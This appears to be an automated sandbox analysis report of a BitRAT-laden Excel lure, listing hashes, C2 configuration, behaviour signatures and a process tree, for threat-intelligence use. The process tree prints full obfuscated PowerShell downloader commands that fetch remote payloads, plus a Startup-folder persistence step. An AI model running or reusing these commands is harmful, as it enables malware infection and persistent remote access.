bitrat | 7e59886a1137a4e857507cc61b150d5637ff71b09af43deeb70d1c9644ce465e

General

Target

ACH_Remittance_Details.xls
Size

29KB
MD5

135a1b45054fd8c36e854fb696d7391a
SHA1

80e56aad8cf5281d4374ae3b3f99ae7bd3f46198
SHA256

7e59886a1137a4e857507cc61b150d5637ff71b09af43deeb70d1c9644ce465e
SHA512

445bec2c31074256f9da3afda2034f150cf8fe3fa6e1441a70a7d4a0068c56c046df8f1269fe4d5d6e7f500699be61521a1c011b4d2ad48a2eb64c9e8958a498

Score

10^/10

bitrat trojan upx

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

bitm.dvrlists.com:6061

Attributes

communication_password
cef08aa1523518b499f65898132b7512
tor_process
tor

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3796	4968	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

35 3796 powershell.exe
44 3676 powershell.exe

flow	pid	process
35	3796	powershell.exe
44	3676	powershell.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/5076-156-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/5076-160-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/5076-161-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/5076-158-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/5076-162-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/5076-166-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation WScript.exe
Loads dropped DLL 1 IoCs

Processes:

powershell.exe

pid process

3676 powershell.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

calc.exe

pid process

5076 calc.exe
5076 calc.exe
5076 calc.exe
5076 calc.exe
5076 calc.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3676 set thread context of 5076 3676 powershell.exe calc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Control Panel\International\Geo\Nation	WScript.exe

pid	process
3676	powershell.exe

pid	process
5076	calc.exe
5076	calc.exe
5076	calc.exe
5076	calc.exe
5076	calc.exe

description	pid	process	target process
PID 3676 set thread context of 5076	3676	powershell.exe	calc.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

Processes:

IEXPLORE.EXEiexplore.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30979800"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30979800"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e900000000020000000000106600000001000020000000030ff64aaf0fcb3fa3b429b9300ec1a4818b5b0a863c0804bb3929747b8fca79000000000e80000000020000200000005b1c2d88b7a55989ffc789729cb8004b4b08aa1638a7b280d387471657ca3ac02000000083f4f1c2647fbb5495a47c9d139214333a246172bd71a8cc280b4768fece4bbb400000000bb8d4c82b8266cee6b5f262276ee8dedd8c077498c27091a3f889c94aebdcdfd4d7de702d96adea5e85c2baea286bf8444b72a2e73e20ce268ad418c178685c	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "2202239701"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000dfb0ccd4fedb0e4198e28dd1a4bf61e9000000000200000000001066000000010000200000003d8e0361820c6982a537a7d7d9b9ea52bbb895e63c122ae21a9a7b28e7de3eeb000000000e8000000002000020000000e10fb700f12c229243c76baf66037ab1c5fa5f3e22b24e294e0691a5d47ad3fb200000009c997218b5a3bae3edbc6bacd29b074f7a7d0ed20e08cff81899bea374755e72400000000a76f8fae26457fee9f15f3746fe725253ee1436b8ce3bc4e66906b9781d8b6e75149f7bb6277b1f01dfec6bc9e361100ada96be39f73219171c5fca56bd8750	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{AE56D635-22CB-11ED-8D88-DAE60F07E07D} = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 6049a484d8b6d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\MINIE	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "2202552011"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 5075ab84d8b6d801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings powershell.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4968 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1502147629-2175634256-330282290-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
3796	powershell.exe
3796	powershell.exe
3796	powershell.exe
3676	powershell.exe
3676	powershell.exe
1032	powershell.exe
1032	powershell.exe
1032	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

Processes:

powershell.exepowershell.exepowershell.execalc.exe

description	pid	process
Token: SeDebugPrivilege	3796	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe
Token: SeIncreaseQuotaPrivilege	3676	powershell.exe
Token: SeSecurityPrivilege	3676	powershell.exe
Token: SeTakeOwnershipPrivilege	3676	powershell.exe
Token: SeLoadDriverPrivilege	3676	powershell.exe
Token: SeSystemProfilePrivilege	3676	powershell.exe
Token: SeSystemtimePrivilege	3676	powershell.exe
Token: SeProfSingleProcessPrivilege	3676	powershell.exe
Token: SeIncBasePriorityPrivilege	3676	powershell.exe
Token: SeCreatePagefilePrivilege	3676	powershell.exe
Token: SeBackupPrivilege	3676	powershell.exe
Token: SeRestorePrivilege	3676	powershell.exe
Token: SeShutdownPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeSystemEnvironmentPrivilege	3676	powershell.exe
Token: SeRemoteShutdownPrivilege	3676	powershell.exe
Token: SeUndockPrivilege	3676	powershell.exe
Token: SeManageVolumePrivilege	3676	powershell.exe
Token: 33	3676	powershell.exe
Token: 34	3676	powershell.exe
Token: 35	3676	powershell.exe
Token: 36	3676	powershell.exe
Token: SeShutdownPrivilege	5076	calc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

iexplore.exe

pid process

744 iexplore.exe

pid	process
744	iexplore.exe

Suspicious use of SetWindowsHookEx 18 IoCs

Processes:

EXCEL.EXEiexplore.exeIEXPLORE.EXEcalc.exe

pid	process
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
4968	EXCEL.EXE
744	iexplore.exe
744	iexplore.exe
2772	IEXPLORE.EXE
2772	IEXPLORE.EXE
5076	calc.exe
5076	calc.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

EXCEL.EXEpowershell.exeiexplore.exeWScript.exepowershell.exe

description	pid	process	target process
PID 4968 wrote to memory of 3796	4968	EXCEL.EXE	powershell.exe
PID 4968 wrote to memory of 3796	4968	EXCEL.EXE	powershell.exe
PID 3796 wrote to memory of 4200	3796	powershell.exe	WScript.exe
PID 3796 wrote to memory of 4200	3796	powershell.exe	WScript.exe
PID 744 wrote to memory of 2772	744	iexplore.exe	IEXPLORE.EXE
PID 744 wrote to memory of 2772	744	iexplore.exe	IEXPLORE.EXE
PID 744 wrote to memory of 2772	744	iexplore.exe	IEXPLORE.EXE
PID 4200 wrote to memory of 3676	4200	WScript.exe	powershell.exe
PID 4200 wrote to memory of 3676	4200	WScript.exe	powershell.exe
PID 4200 wrote to memory of 1032	4200	WScript.exe	powershell.exe
PID 4200 wrote to memory of 1032	4200	WScript.exe	powershell.exe
PID 3676 wrote to memory of 4624	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 4624	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 4624	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe
PID 3676 wrote to memory of 5076	3676	powershell.exe	calc.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ACH_Remittance_Details.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference = 'SilentlyContinue';$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$we22='eW.teN tc' + 'ejbO-weN('; $b4df='olnwoD.)tnei' + 'lCb'; $c3=')''sbv.tneilc\''+pmet:vne$,''sbv.tneilC/clac/nomwen/moc.ehgityennikcm//:ptth''(eliFda';$TC=$c3,$b4df,$we22 -Join '';IEX(([regex]::Matches($TC,'.','RightToLeft') | ForEach {$_.value}) -join '');start-process($env:temp+ '\client.vbs')
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3796

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\client.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $gf=(00100100,01000101,01110010,01110010,01101111,01110010,01000001,01100011,01110100,01101001,01101111,01101110,01010000,01110010,01100101,01100110,01100101,01110010,01100101,01101110,01100011,01100101,00100000,00111101,00100000,00100111,01010011,01101001,01101100,01100101,01101110,01110100,01101100,01111001,01000011,01101111,01101110,01110100,01101001,01101110,01110101,01100101,00100111,00111011,00100100,01110100,00110101,00110110,01100110,01100111,00100000,00111101,00100000,01011011,01000101,01101110,01110101,01101101,01011101,00111010,00111010,01010100,01101111,01001111,01100010,01101010,01100101,01100011,01110100,00101000,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,01010100,01111001,01110000,01100101,01011101,00101100,00100000,00110011,00110000,00110111,00110010,00101001,00111011,01011011,01010011,01111001,01110011,01110100,01100101,01101101,00101110,01001110,01100101,01110100,00101110,01010011,01100101,01110010,01110110,01101001,01100011,01100101,01010000,01101111,01101001,01101110,01110100,01001101,01100001,01101110,01100001,01100111,01100101,01110010,01011101,00111010,00111010,01010011,01100101,01100011,01110101,01110010,01101001,01110100,01111001,01010000,01110010,01101111,01110100,01101111,01100011,01101111,01101100,00100000,00111101,00100000,00100100,01110100,00110101,00110110,01100110,01100111,00111011,01000001,01100100,01100100,00101101,01010100,01111001,01110000,01100101,00100000,00101101,01000001,01110011,01110011,01100101,01101101,01100010,01101100,01111001,01001110,01100001,01101101,01100101,00100000,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00111011,01100100,01101111,00100000,01111011,00100100,01110000,01101001,01101110,01100111,00100000,00111101,00100000,01110100,01100101,01110011,01110100,00101101,01100011,01101111,01101110,01101110,01100101,01100011,01110100,01101001,01101111,01101110,00100000,00101101,01100011,01101111,01101101,01110000,00100000,01100111,01101111,01101111,01100111,01101100,01100101,00101110,01100011,01101111,01101101,00100000,00101101,01100011,01101111,01110101,01101110,01110100,00100000,00110001,00100000,00101101,01010001,01110101,01101001,01100101,01110100,01111101,00100000,01110101,01101110,01110100,01101001,01101100,00100000,00101000,00100100,01110000,01101001,01101110,01100111,00101001,00111011,00100100,01110100,01110100,01111001,00111101,01010000,00101000,00100111,00101000,01001110,01100101,01110111,00101101,00100111,00101011,00100111,01001111,01100010,01101010,01100101,00100111,00101011,00100111,01100011,01110100,00100000,01001110,01100101,00100111,00101011,00100111,01110100,00101110,01010111,01100101,00100111,00101011,00100111,01100010,01000011,01101100,01101001,00100111,00101011,00100111,01100101,01101110,01110100,00101001,00100111,00101001,00111011,00100100,01101101,01110110,00111101,00100000,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01001001,01101110,01110100,01100101,01110010,01100001,01100011,01110100,01101001,01101111,01101110,01011101,00111010,00111010,01000011,01100001,01101100,01101100,01000010,01111001,01101110,01100001,01101101,01100101,00101000,00100100,01110100,01110100,01111001,00101100,00100111,01000100,01101111,01110111,01101110,00100111,00100000,00101011,00100000,00100111,01101100,01101111,01100001,01100100,00100111,00100000,00101011,00100000,00100111,01010011,01110100,01110010,00100111,00100000,00101011,00100000,00100111,01101001,01101110,01100111,00100111,00101100,01011011,01001101,01101001,01100011,01110010,01101111,01110011,01101111,01100110,01110100,00101110,01010110,01101001,01110011,01110101,01100001,01101100,01000010,01100001,01110011,01101001,01100011,00101110,01000011,01100001,01101100,01101100,01010100,01111001,01110000,01100101,01011101,00111010,00111010,01001101,01100101,01110100,01101000,01101111,01100100,00101100,00100111,01101000,01110100,01110100,01110000,00100111,00100000,00101011,00100000,00100111,00111010,00101111,00101111,01101101,01100011,01101011,01101001,01101110,01101110,01100101,01111001,01110100,01101001,01100111,01101000,01100101,00101110,01100011,01101111,01101101,00101111,01101110,01100101,01110111,01101101,01101111,01101110,00101111,01000101,01101110,01100011,01110010,01111001,01110000,01110100,01100101,01100100,00100000,01000011,01101100,01101001,01100101,01101110,01110100,00100000,01001111,01000111,00101110,01101010,01110000,01100111,00100111,00101001,01111100,01010000) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };$o00='ZE000'.replace('Z','I').replace('000','x');sal P $o00;([system.String]::Join('', $gf))|P
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
PID:4624

C:\WINDOWS\syswow64\calc.exe
"C:\WINDOWS\syswow64\calc.exe"
5⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5076

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Move-item 'C:\Users\Admin\AppData\Local\Temp\client.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\client.vbs'
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1032

C:\Program Files (x86)\Internet Explorer\ielowutil.exe
"C:\Program Files (x86)\Internet Explorer\ielowutil.exe" -CLSID:{0002DF01-0000-0000-C000-000000000046} -Embedding
1⤵
PID:3712

C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
1⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:744

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:744 CREDAT:17410 /prefetch:2
2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
PID:2772

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
78790e35f577956f3cd5e7055d9e9c9d

SHA1
cf7039574fb5ba7f93c5bd91937d91a8a2f8954c

SHA256
7d5636ca5e0fb822c5e7ecc685d81603f146083f99bba65dc0bc48bebc4af927

SHA512
483c39e26fbf81e9ad1e0aad9b53254534970c1880103495e5cdb4cac4a66090a503dc959032946d91ecb0958ac0d8b39f1a84e324bedabfc22d6240bf8f57fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\b944d715-ae68-492a-9ac2-0910fdf2d15c\AgileDotNetRT64.dll
Filesize
75KB

MD5
42b2c266e49a3acd346b91e3b0e638c0

SHA1
2bc52134f03fcc51cb4e0f6c7cf70646b4df7dd1

SHA256
adeed015f06efa363d504a18acb671b1db4b20b23664a55c9bc28aef3283ca29

SHA512
770822fd681a1d98afe03f6fbe5f116321b54c8e2989fb07491811fd29fca5b666f1adf4c6900823af1271e342cacc9293e9db307c4eef852d1a253b00347a81

Download Submit
C:\Users\Admin\AppData\Local\Temp\client.vbs
Filesize
2KB

MD5
5a060aa2e0e82ee0b03b65ce9ed52c2f

SHA1
c8ef799fb03c6ae42b6f7590d7733c80f54c7c5a

SHA256
a224dcb4bd0ac20f6241885b3cd0ca5f552dc6ddcca360d27204bd9c47cec4a7

SHA512
dcf9218da529ae6eeacea9e53ad94f2d3649d27561a721ac9a23abaa49dac0ed11f5b6cd203750247d93e577ce772e3e6afc9bd992348f260875e8903bbcb5f6

Download Submit
memory/1032-152-0x00007FFB54AD0000-0x00007FFB55591000-memory.dmp

Filesize
10.8MB

Download
memory/1032-151-0x00007FFB54AD0000-0x00007FFB55591000-memory.dmp

Filesize
10.8MB

Download
memory/1032-147-0x0000000000000000-mapping.dmp

Download
memory/3676-163-0x00007FFB54AD0000-0x00007FFB55591000-memory.dmp

Filesize
10.8MB

Download
memory/3676-153-0x00007FFB54AD0000-0x00007FFB55591000-memory.dmp

Filesize
10.8MB

Download
memory/3676-146-0x0000000000000000-mapping.dmp

Download
memory/3676-155-0x00007FFB4DFC0000-0x00007FFB4E10E000-memory.dmp

Filesize
1.3MB

Download
memory/3676-150-0x00007FFB54AD0000-0x00007FFB55591000-memory.dmp

Filesize
10.8MB

Download
memory/3796-141-0x0000019878F70000-0x0000019878F92000-memory.dmp

Filesize
136KB

Download
memory/3796-145-0x00007FFB56150000-0x00007FFB56C11000-memory.dmp

Filesize
10.8MB

Download
memory/3796-140-0x0000000000000000-mapping.dmp

Download
memory/3796-142-0x00007FFB56150000-0x00007FFB56C11000-memory.dmp

Filesize
10.8MB

Download
memory/4200-143-0x0000000000000000-mapping.dmp

Download
memory/4968-133-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-139-0x00007FFB3DBF0000-0x00007FFB3DC00000-memory.dmp

Filesize
64KB

Download
memory/4968-137-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-135-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-138-0x00007FFB3DBF0000-0x00007FFB3DC00000-memory.dmp

Filesize
64KB

Download
memory/4968-171-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-136-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-134-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-170-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-169-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/4968-168-0x00007FFB401B0000-0x00007FFB401C0000-memory.dmp

Filesize
64KB

Download
memory/5076-157-0x00000000007E2730-mapping.dmp

Download
memory/5076-162-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/5076-164-0x0000000074D00000-0x0000000074D39000-memory.dmp

Filesize
228KB

Download
memory/5076-165-0x0000000074960000-0x0000000074999000-memory.dmp

Filesize
228KB

Download
memory/5076-166-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/5076-158-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
